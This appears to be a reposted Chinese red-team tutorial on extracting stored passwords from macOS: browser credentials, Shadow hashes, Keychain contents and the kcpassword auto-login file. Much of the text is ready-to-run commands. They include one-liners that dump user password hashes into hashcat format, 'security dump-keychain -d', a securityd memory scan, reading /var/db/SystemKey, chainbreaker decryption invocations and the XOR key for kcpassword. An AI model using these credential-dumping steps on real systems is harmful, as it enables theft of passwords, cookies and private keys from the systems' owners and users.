红队之如何获取Mac OSx Passwords
最近对Mac OSx当中的密码存储比较感兴趣 然后就去网上查了很多资料,而且好像相关的文章比较少。那么对于OSx当中的提权将会放到另外一片文章中来说。在我个人认为OSx中 主要有几类密码存在如:Bro 2022-12-11 01:42:9 Author: Gcow安全团队(查看原文) 阅读量:114 收藏

最近对Mac OSx当中的密码存储比较感兴趣 然后就去网上查了很多资料,而且好像相关的文章比较少。那么对于OSx当中的提权将会放到另外一片文章中来说。

在我个人认为OSx中 主要有几类密码存在如:Browser Passwords(浏览器密码)、Shadow Passwords(影子密码)、Keychain(钥匙串)、kcpassword(登陆密码)。所有的实验都是在我自己的多台电脑测试以及模拟。

本文也将按照这几种密码的分类来说明如何获取各类密码。

Browser password

很多人都会习惯把密码保存在浏览器,那么浏览器密码可以说是重中之重了。

HackBrowserData

HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。

浏览器支持情况
MacOS

由于 MacOS 的安全性设置,基于 Chromium 内核浏览器解密时需要当前用户密码

浏览器密码Cookie书签历史记录
Google Chrome✅✅✅✅
Google Chrome Beta✅✅✅✅
Chromium✅✅✅✅
Microsoft Edge✅✅✅✅
Brave✅✅✅✅
Opera✅✅✅✅
OperaGX✅✅✅✅
Vivaldi✅✅✅✅
Yandex✅✅✅✅
CocCoc✅✅✅✅
Firefox✅✅✅✅
Firefox Beta✅✅✅✅
Firefox Dev✅✅✅✅
Firefox ESR✅✅✅✅
Firefox Nightly✅✅✅✅
Safari❌❌❌❌
安装运行
安装

可下载已编译好,可直接运行的 二进制文件

某些情况下,这款安全工具会被 Windows Defender 或其他杀毒软件当作病毒导致无法执行。代码已经全部开源,可自行编译。

从源码编译

仅支持 go1.18+ 以后版本,一些函数使用到了泛型

  1. $ git clone https://github.com/moonD4rk/HackBrowserData

  2. $ cd HackBrowserData/cmd/hack-browser-data

  3. $ CGO_ENABLED=1 go build

运行

Shadow Passwords

影子密码与用户的配置一起存储在 /var/db/dslocal/nodes/Default/users/. 以下oneliner可用于转储有关用户的所有信息(包括哈希信息):

  1. for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done

像这个或这个这样的脚本可用于将散列转换为hashcat 格式。

另一种单行代码将以 hashcat 格式 -m7100(macOS PBKDF2-SHA512) 转储所有非服务帐户的信用:

  1. sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "<a href="#footnote-_"><sup>[_]</sup></a>*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Keychain

Dump

请注意,当使用安全二进制文件转储解密后的密码时,会出现多个提示,要求用户允许此操作。

  1. #security

  2. secuirty dump-trust-settings [-s] [-d] #List certificates

  3. security list-keychains #List keychain dbs

  4. security list-smartcards #List smartcards

  5. security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries

  6. security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)

Keychaindump

攻击者仍然需要获得对系统的访问权限并升级到root权限才能运行keychaindump。这种方法有其自身的条件。如前所述,登录后,您的钥匙串默认解锁,并在您使用系统时保持解锁状态。这是为了方便,这样用户就不需要在每次应用程序希望访问钥匙串时都输入密码。如果用户更改了此设置并选择在每次使用后锁定钥匙串,则钥匙串转储将不再起作用;它依赖于解锁的钥匙串来运行。

了解 Keychaindump 如何从内存中提取密码很重要。此交易中最重要的过程是“安全”过程。Apple 将此进程称为授权和加密操作的安全上下文守护进程。Apple 开发人员库对此并没有多说;但是,他们确实告诉我们 securityd 处理对钥匙串的访问。在他的研究中,Juuso将解密钥匙串所需的密钥称为“万能钥匙”。需要采取许多步骤来获取此密钥,因为它是从用户的 OS X 登录密码派生的。如果你想读取钥匙串文件,你必须有这个主密钥。可以执行以下步骤来获取它。执行 securityd 的堆扫描(keychaindump 使用 vmmap 命令执行此操作)。可能的主密钥存储在标记为 MALLOC_TINY 的区域中。您可以使用以下命令自己查看这些堆的位置:

  1. sudo vmmap <securityd PID> | grep MALLOC_TINY

然后Keychaindump将在返回的堆中搜索 0x0000000000000018 的出现。如果以下 8 字节值指向当前堆,我们就找到了一个潜在的主密钥。从这里开始,仍然需要进行一些反混淆,这可以在源代码中看到,但作为分析师,需要注意的最重要部分是解密此信息的必要数据存储在 securityd 的进程内存中。这是钥匙串转储输出的示例。

  1. sudo ./keychaindump

这些工具似乎在 Big Sur 无法使用请在10.15.x及以下使用。

chainbreaker

Chainbreaker可用于以可靠的方式从 OSX 钥匙串中提取以下类型的信息:

  • Hashed Keychain password, suitable for cracking with hashcat or John the Ripper

  • Internet Passwords

  • Generic Passwords

  • Private Keys

  • Public Keys

  • X509 Certificates

  • Secure Notes

  • Appleshare Passwords

给定钥匙串解锁密码,使用volafox或volatility获得的主密钥,或诸如 SystemKey 之类的解锁文件,Chainbreaker 还将提供明文密码。

如果没有这些解锁钥匙串的方法之一,Chainbreaker 将显示所有其他可用信息。

转储钥匙串钥匙
  1. #Dump all keys of the keychain (without the passwords)

  2. python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain

使用 SystemKey 转储钥匙串密钥(带密码)
  1. # First, get the keychain decryption key

  2. # To get this decryption key you need to be root and SIP must be disabled

  3. hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo

  4. ## Use the previous key to decrypt the passwords

  5. python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

转储钥匙串密钥(带密码)破解哈希
  1. # Get the keychain hash

  2. python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain

  3. # Crack it with hashcat

  4. hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt

  5. # Use the key to decrypt the passwords

  6. python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

使用内存转储转储钥匙串密钥(带密码)

按照以下步骤执行内存转储

  1. #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords

  2. # Unformtunately volafox isn't working with the latest versions of MacOS

  3. python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump

  4. #Try to extract the passwords using the extracted keychain passwords

  5. python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

使用用户密码转储钥匙串密钥(带密码)

如果您知道用户密码,您可以使用它来转储和解密属于该用户的钥匙串。

  1. #Prompt to ask for the password

  2. python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db

KeychainCracker

macOS 钥匙串破解工具。带有GUI界面。

https://github.com/macmade/KeychainCracker

kcpassword

kcpassword文件是保存用户登录密码的文件,但前提是系统所有者启用了自动登录。因此,用户将自动登录而无需输入密码(这不是很安全)。

密码存储在 /etc/kcpassword与密钥异或的文件中 0x7D0x890x520x230xD20xBC0xDD0xEA0xA30xB90x1F。如果用户密码比密钥长,则密钥将被复用。这使得密码很容易恢复,使用这个的脚本。

结束

其实上面所测试的大部分方式都在较新的OSx系统上无法使用。如果想在新的OSx上使用还需要去看系统的更新内容及改变。

推荐一个靶场,靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全,且出题的思路很好,感兴趣的可以去玩玩


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyNzk2NDcwMw==&mid=2247488101&idx=1&sn=0205d63e140a56bcedefe9660ef228f9&chksm=fa76dd15cd015403454b1ea536dcf947dec4387331e0e9a4214110d0cc29c68161cdb3234b4e#rd
如有侵权请联系:admin#unsafe.sh